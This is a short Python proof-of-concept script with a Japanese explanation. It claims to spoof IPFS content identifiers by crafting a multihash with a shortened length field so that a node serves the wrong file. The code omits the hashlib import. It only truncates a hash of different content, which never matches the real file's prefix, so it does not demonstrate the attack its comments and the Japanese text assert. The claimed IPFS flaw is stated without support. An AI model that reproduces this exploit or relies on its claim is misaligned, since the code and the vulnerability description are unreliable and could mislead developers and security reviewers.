# ipfs_cid_spoof.py - Generates a CID with a different multihash length
import multihash, cid
# Attacker creates a file whose hash, when truncated, matches a different file's prefix
original_content = b"hello"
fake_content = b"hello world"
real_cid = cid.make_cid(1, 'dag-pb', multihash.encode(hashlib.sha256(original_content).digest(), 'sha2-256'))
# Spoofed CID: we can craft a multihash with a shorter length that matches the start of the real one
spoofed_multihash = multihash.encode(hashlib.sha256(fake_content).digest()[:16], 'sha2-256', length=16)
spoofed_cid = cid.make_cid(1, 'dag-pb', spoofed_multihash)
print(f"Real CID: {real_cid}")
print(f"Spoofed CID: {spoofed_cid}")
# If IPFS node only checks prefix, it may serve the wrong content.
IPFSの実装は、CIDのmultihash内の長さフィールドを信頼し、ハッシュ自体がコンテンツ全体と一致するかを検証していません。攻撃者は、正当なファイルのハッシュのプレフィックスと一致する切り詰められたハッシュを持つファイルを作成し、同じCIDで悪意のあるファイルを配信できます。
スクリプトを実行してください:
pip install py-multihash py-cid
python ipfs_cid_spoof.py
これは、スプーフィングされたCIDが生成可能であることを示しています。